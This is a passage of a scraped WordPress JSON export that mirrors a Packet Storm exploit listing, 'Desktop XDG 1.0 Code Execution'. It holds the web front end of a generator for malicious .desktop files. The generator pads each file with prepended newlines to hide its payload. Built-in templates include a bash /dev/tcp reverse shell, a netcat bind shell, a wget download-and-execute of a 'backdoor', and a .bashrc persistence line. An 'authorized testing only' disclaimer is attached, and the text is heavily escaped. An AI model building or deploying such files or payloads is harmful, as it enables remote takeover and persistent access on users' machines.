{\\n                    color: #666;\\n                    text-align: center;\\n                    margin-bottom: 30px;\\n                    font-size: 14px;\\n                }\\n                \\n                .warning {\\n                    background: #fff3cd;\\n                    border: 1px solid #ffeaa7;\\n                    color: #856404;\\n                    padding: 15px;\\n                    border-radius: 10px;\\n                    margin-bottom: 30px;\\n                    font-size: 14px;\\n                }\\n                \\n                .form-group {\\n                    margin-bottom: 20px;\\n                }\\n                \\n                label {\\n                    display: block;\\n                    margin-bottom: 8px;\\n                    color: #555;\\n                    font-weight: 600;\\n                }\\n                \\n                input[type=\\&#8221;text\\&#8221;],\\n                input[type=\\&#8221;number\\&#8221;],\\n                textarea,\\n                select {\\n                    width: 100%;\\n                    padding: 12px;\\n                    border: 2px solid #e0e0e0;\\n                    border-radius: 10px;\\n                    font-size: 16px;\\n                    transition: border-color 0.3s;\\n                }\\n                \\n                input[type=\\&#8221;text\\&#8221;]:focus,\\n                input[type=\\&#8221;number\\&#8221;]:focus,\\n                textarea:focus,\\n                select:focus {\\n                    outline: none;\\n                    border-color: #667eea;\\n                }\\n                \\n                textarea {\\n                    height: 120px;\\n                    resize: vertical;\\n                    font-family: monospace;\\n                }\\n                \\n                .btn {\\n                    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);\\n                    color: white;\\n                    border: none;\\n                    padding: 15px 30px;\\n                    border-radius: 10px;\\n                    font-size: 16px;\\n                    font-weight: 600;\\n                    cursor: pointer;\\n                    transition: transform 0.3s, box-shadow 0.3s;\\n                    width: 100%;\\n                    margin-top: 10px;\\n                }\\n                \\n                .btn:hover {\\n                    transform: translateY(-2px);\\n                    box-shadow: 0 10px 20px rgba(102, 126, 234, 0.4);\\n                }\\n                \\n                .btn-secondary {\\n                    background: #6c757d;\\n                    margin-top: 10px;\\n                }\\n                \\n                .btn-danger {\\n                    background: #dc3545;\\n                }\\n                \\n                .result {\\n                    margin-top: 30px;\\n                    padding: 20px;\\n                    background: #f8f9fa;\\n                    border-radius: 10px;\\n                    display: none;\\n                }\\n                \\n                .result pre {\\n                    white-space: pre-wrap;\\n                    word-wrap: break-word;\\n                    background: #2d3436;\\n                    color: #dfe6e9;\\n                    padding: 15px;\\n                    border-radius: 5px;\\n                    overflow-x: auto;\\n                    font-family: monospace;\\n                    font-size: 14px;\\n                }\\n                \\n                .payload-templates {\\n                    display: grid;\\n                    grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));\\n                    gap: 15px;\\n                    margin-bottom: 20px;\\n                }\\n                \\n                .template-card {\\n                    border: 2px solid #e0e0e0;\\n                    border-radius: 10px;\\n                    padding: 15px;\\n                    cursor: pointer;\\n                    transition: all 0.3s;\\n                }\\n                \\n                .template-card:hover {\\n                    border-color: #667eea;\\n                    transform: translateY(-2px);\\n                    box-shadow: 0 5px 15px rgba(0,0,0,0.1);\\n                }\\n                \\n                .template-card.selected {\\n                    border-color: #667eea;\\n                    background: #f0f4ff;\\n                }\\n                \\n                .template-title {\\n                    font-weight: 600;\\n                    color: #333;\\n                    margin-bottom: 8px;\\n                }\\n                \\n                .template-desc {\\n                    color: #666;\\n                    font-size: 14px;\\n                    margin-bottom: 10px;\\n                }\\n                \\n                .template-payload {\\n                    font-family: monospace;\\n                    font-size: 12px;\\n                    color: #667eea;\\n                    background: #f8f9fa;\\n                    padding: 8px;\\n                    border-radius: 5px;\\n                    overflow-x: auto;\\n                }\\n                \\n                @media (max-width: 768px) {\\n                    .container {\\n                        padding: 20px;\\n                    }\\n                    \\n                    .payload-templates {\\n                        grid-template-columns: 1fr;\\n                    }\\n                }\\n            \\u003c\/style\\u003e\\n        \\u003c\/head\\u003e\\n        \\u003cbody\\u003e\\n            \\u003cdiv class=\\&#8221;container\\&#8221;\\u003e\\n                \\u003ch1\\u003e\ud83d\udcc1 Desktop File Generator\\u003c\/h1\\u003e\\n                \\u003cp class=\\&#8221;subtitle\\&#8221;\\u003eCreate XDG Desktop files for authorized security testing\\u003c\/p\\u003e\\n                \\n                \\u003cdiv class=\\&#8221;warning\\&#8221;\\u003e\\n                    \u26a0\ufe0f \\u003cstrong\\u003eWarning:\\u003c\/strong\\u003e This tool is for authorized penetration testing and educational purposes only.\\n                    Do not use on systems you don&#8217;t own or have permission to test.\\n                \\u003c\/div\\u003e\\n                \\n                \\u003cform id=\\&#8221;desktopForm\\&#8221; method=\\&#8221;POST\\&#8221;\\u003e\\n                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                        \\u003clabel for=\\&#8221;filename\\&#8221;\\u003eOutput Filename:\\u003c\/label\\u003e\\n                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;filename\\&#8221; name=\\&#8221;filename\\&#8221; value=\\&#8221;msf.desktop\\&#8221; required\\u003e\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                        \\u003clabel for=\\&#8221;application_name\\&#8221;\\u003eApplication Name:\\u003c\/label\\u003e\\n                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;application_name\\&#8221; name=\\&#8221;application_name\\&#8221; placeholder=\\&#8221;Leave empty for random name\\&#8221;\\u003e\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                        \\u003clabel for=\\&#8221;prepend_new_lines\\&#8221;\\u003ePrepend New Lines:\\u003c\/label\\u003e\\n                        \\u003cinput type=\\&#8221;number\\&#8221; id=\\&#8221;prepend_new_lines\\&#8221; name=\\&#8221;prepend_new_lines\\&#8221; value=\\&#8221;100\\&#8221; min=\\&#8221;0\\&#8221; max=\\&#8221;1000\\&#8221;\\u003e\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                        \\u003clabel\\u003ePayload Template:\\u003c\/label\\u003e\\n                        \\u003cdiv class=\\&#8221;payload-templates\\&#8221; id=\\&#8221;payloadTemplates\\&#8221;\\u003e\\n                            \\u003c!&#8211; Templates will be populated by JavaScript &#8211;\\u003e\\n                        \\u003c\/div\\u003e\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                        \\u003clabel for=\\&#8221;payload\\&#8221;\\u003eCustom Payload:\\u003c\/label\\u003e\\n                        \\u003ctextarea id=\\&#8221;payload\\&#8221; name=\\&#8221;payload\\&#8221; placeholder=\\&#8221;Enter your custom payload command here&#8230;\\&#8221;\\u003e\\u003c\/textarea\\u003e\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cbutton type=\\&#8221;submit\\&#8221; class=\\&#8221;btn\\&#8221;\\u003eGenerate Desktop File\\u003c\/button\\u003e\\n                    \\u003cbutton type=\\&#8221;button\\&#8221; class=\\&#8221;btn btn-secondary\\&#8221; onclick=\\&#8221;resetForm()\\&#8221;\\u003eReset Form\\u003c\/button\\u003e\\n                \\u003c\/form\\u003e\\n                \\n                \\u003cdiv class=\\&#8221;result\\&#8221; id=\\&#8221;result\\&#8221;\\u003e\\n                    \\u003ch3\\u003eGenerated Desktop File:\\u003c\/h3\\u003e\\n                    \\u003cpre id=\\&#8221;resultContent\\&#8221;\\u003e\\u003c\/pre\\u003e\\n                    \\u003cbutton class=\\&#8221;btn\\&#8221; onclick=\\&#8221;downloadFile()\\&#8221;\\u003eDownload File\\u003c\/button\\u003e\\n                \\u003c\/div\\u003e\\n            \\u003c\/div\\u003e\\n            \\n            \\u003cscript\\u003e\\n                \/\/ Payload templates\\n                const templates = {\\n                    reverse_shell: {\\n                        name: &#8216;Reverse Shell&#8217;,\\n                        payload: &#8216;bash -i \\u003e\\u0026 \/dev\/tcp\/127.0.0.1\/4444 0\\u003e\\u00261&#8217;,\\n                        desc: &#8216;Reverse shell to attacker machine&#8217;\\n                    },\\n                    bind_shell: {\\n                        name: &#8216;Bind Shell&#8217;,\\n                        payload: &#8216;nc -lvp 4444 -e \/bin\/bash&#8217;,\\n                        desc: &#8216;Bind shell on target machine&#8217;\\n                    },\\n                    download_execute: {\\n                        name: &#8216;Download \\u0026 Execute&#8217;,\\n                        payload: &#8216;wget http:\/\/example.com\/backdoor -O \/tmp\/backdoor \\u0026\\u0026 chmod +x \/tmp\/backdoor \\u0026\\u0026 \/tmp\/backdoor&#8217;,\\n                        desc: &#8216;Download and execute remote file&#8217;\\n                    },\\n                    persistence: {\\n                        name: &#8216;Persistence&#8217;,\\n                        payload: &#8216;echo \\&#8221;nohup bash -c \\\\\\\\\\&#8221;while true; do sleep 3600; done\\\\\\\\\\&#8221; \\u0026\\&#8221; \\u003e\\u003e ~\/.bashrc&#8217;,\\n                        desc: &#8216;Add persistence mechanism&#8217;\\n                    }\\n                };\\n                \\n                \/\/ Populate templates\\n                const templatesContainer = document.getElementById(&#8216;payloadTemplates&#8217;);\\n                Object.entries(templates).forEach(([key, template]) =\\u003e {\\n                    const card = document.createElement(&#8216;div&#8217;);\\n                    card.className = &#8216;template-card&#8217;;\\n                    card.innerHTML = `\\n                        \\u003cdiv class=\\&#8221;template-title\\&#8221;\\u003e${template.name}\\u003c\/div\\u003e\\n                        \\u003cdiv class=\\&#8221;template-desc\\&#8221;\\u003e${template.desc}\\u003c\/div\\u003e\\n                        \\u003cdiv class=\\&#8221;template-payload\\&#8221;\\u003e${template.payload}\\u003c\/div\\u003e\\n                    `;\\n                    card.addEventListener(&#8216;click&#8217;, () =\\u003e {\\n                        document.querySelectorAll(&#8216;.template-card&#8217;).forEach(c =\\u003e c.classList.remove(&#8216;selected&#8217;));\\n                        card.classList.add(&#8216;selected&#8217;);\\n                        document.getElementById(&#8216;payload&#8217;).value = template.payload;\\n                    });\\n                    templatesContainer.appendChild(card);\\n                });\\n                \\n                \/\/ Handle form submission\\n                document.getElementById(&#8216;desktopForm&#8217;).addEventListener(&#8216;submit&#8217;, async (e) =\\u003e {\\n                    e.preventDefault();\\n                    \\n                    const formData = new FormData(e.target);\\n                    const data = Object.fromEntries(formData.entries());\\n                    \\n                    try {\\n                        const response = await fetch(&#8221;, {\\n                            method: &#8216;POST&#8217;,\\n                            headers: {\\n                                &#8216;Content-Type&#8217;: &#8216;application\/x-www-form-urlencoded&#8217;,\\n                            },\\n                            body: new URLSearchParams(data)\\n                        });\\n                        \\n                        const result = await response.json();\\n                        \\n                        if (result.success) {\\n                            document.getElementById(&#8216;resultContent&#8217;).textContent = result.content;\\n                            document.getElementById(&#8216;result&#8217;).style.display = &#8216;block&#8217;;\\n                            document.getElementById(&#8216;result&#8217;).dataset.filename = result.filename;\\n                            document.getElementById(&#8216;result&#8217;).dataset.content = result.content;\\n                            \\n                            \/\/ Scroll to result\\n                            document.getElementById(&#8216;result&#8217;).scrollIntoView({ behavior: &#8216;smooth&#8217; });\\n                        } else {\\n                            alert(&#8216;Error: &#8216; + result.error);\\n                        }\\n                    } catch (error) {\\n                        alert(&#8216;Error: &#8216; + error.message);\\n                    }\\n                });\\n                \\n                \/\/ Reset form\\n                function resetForm() {\\n                    document.getElementById(&#8216;desktopForm&#8217;).reset();\\n                    document.querySelectorAll(&#8216;.template-card&#8217;).forEach(c =\\u003e c.classList.remove(&#8216;selected&#8217;));\\n                    document.getElementById(&#8216;result&#8217;).style.display = &#8216;none&#8217;;\\n                }\\n                \\n                \/\/ Download file\\n                function downloadFile() {\\n                    const content = document.getElementById(&#8216;result&#8217;).dataset.content;\\n                    const filename = document.getElementById(&#8216;result&#8217;).dataset.filename || &#8216;msf.desktop&#8217;;\\n                    \\n                    const blob = new Blob([content], { type: &#8216;text\/plain&#8217; });\\n                    const url = URL.createObjectURL(blob);\\n                    const a = document.createElement(&#8216;a&#8217;);\\n                    a.href = url;\\n                    a.download = filename;\\n                    document.body.appendChild(a);\\n                    a.click();\\n                    document.body.removeChild(a);\\n                    URL.revokeObjectURL(url);\\n                }\\n            \\u003c\/script\\u003e\\n            \\n            \\u003c?php\\n            \/\/ Handle form submission\\n            if ($_SERVER[&#8216;REQUEST_METHOD&#8217;] === &#8216;POST&#8217;) {\\n                header(&#8216;Content-Type: application\/json&#8217;);\\n                \\n                try {\\n                    $options = [\\n                        &#8216;filename&#8217; =\\u003e $_POST[&#8216;filename&#8217;] ?? &#8216;msf.desktop&#8217;,\\n                        &#8216;application_name&#8217; =\\u003e $_POST[&#8216;application_name&#8217;] ?? &#8221;,\\n                        &#8216;prepend_new_lines&#8217; =\\u003e $_POST[&#8216;prepend_new_lines&#8217;] ?? 100,\\n                        &#8216;payload&#8217; =\\u003e $_POST[&#8216;payload&#8217;] ?? &#8221;\\n                    ];\\n                    \\n                    $exploit = new MaliciousDesktopFile($options);\\n                    $result = $exploit-\\u003eexploit();\\n                    \\n                    echo json_encode([\\n                        &#8216;success&#8217; =\\u003e true,\\n                        &#8216;filename&#8217; =\\u003e $result[&#8216;filename&#8217;],\\n                        &#8216;content&#8217; =\\u003e $result[&#8216;content&#8217;],\\n                        &#8216;application_name&#8217; =\\u003e $result[&#8216;application_name&#8217;],\\n                        &#8216;size&#8217; =\\u003e $result[&#8216;size&#8217;]\\n                    ]);\\n                } catch (Exception $e) {\\n                    echo json_encode([\\n                        &#8216;success&#8217; =\\u003e false,\\n                        &#8216;error&#8217; =\\u003e $e-\\u003egetMessage()\\n                    ]);\\n                }\\n                exit;\\n            }\\n            ?\\u003e\\n        \\u003c\/body\\u003e\\n        \\u003c\/html\\u003e\\n        \\u003c?php\\n    }\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212769&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212769\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:15:41&#8243;,&#8221;description&#8221;:&#8221;This proof of concept generates a malicious file that allows for arbitrary code execution in Desktop XDG version 1.0&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Desktop XDG 1.0 Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212769&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n |&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-30775","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Desktop XDG 1.0 Code Execution_PACKETSTORM:212769 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=30775\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Desktop XDG 1.0 Code Execution_PACKETSTORM:212769 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:15:41&#8243;,&#8221;description&#8221;:&#8221;This proof of concept generates a malicious file that allows for arbitrary code execution in Desktop XDG version 1.0&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Desktop XDG 1.0 Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212769&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n |...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=30775\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-12T11:58:46+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"22 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30775#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30775\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Desktop XDG 1.0 Code Execution_PACKETSTORM:212769\",\"datePublished\":\"2025-12-12T11:58:46+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30775\"},\"wordCount\":4380,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30775#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30775\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30775\",\"name\":\"\ud83d\udcc4 Desktop XDG 1.0 Code Execution_PACKETSTORM:212769 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-12T11:58:46+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30775#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30775\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30775#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Desktop XDG 1.0 Code Execution_PACKETSTORM:212769\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Desktop XDG 1.0 Code Execution_PACKETSTORM:212769 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=30775","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Desktop XDG 1.0 Code Execution_PACKETSTORM:212769 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:15:41&#8243;,&#8221;description&#8221;:&#8221;This proof of concept generates a malicious file that allows for arbitrary code execution in Desktop XDG version 1.0&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Desktop XDG 1.0 Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212769&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n |...","og_url":"https:\/\/zero.redgem.net\/?p=30775","og_site_name":"zero redgem","article_published_time":"2025-12-12T11:58:46+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"22 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=30775#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=30775"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Desktop XDG 1.0 Code Execution_PACKETSTORM:212769","datePublished":"2025-12-12T11:58:46+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=30775"},"wordCount":4380,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=30775#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=30775","url":"https:\/\/zero.redgem.net\/?p=30775","name":"\ud83d\udcc4 Desktop XDG 1.0 Code Execution_PACKETSTORM:212769 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-12T11:58:46+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=30775#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=30775"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=30775#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Desktop XDG 1.0 Code Execution_PACKETSTORM:212769"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30775","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30775"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30775\/revi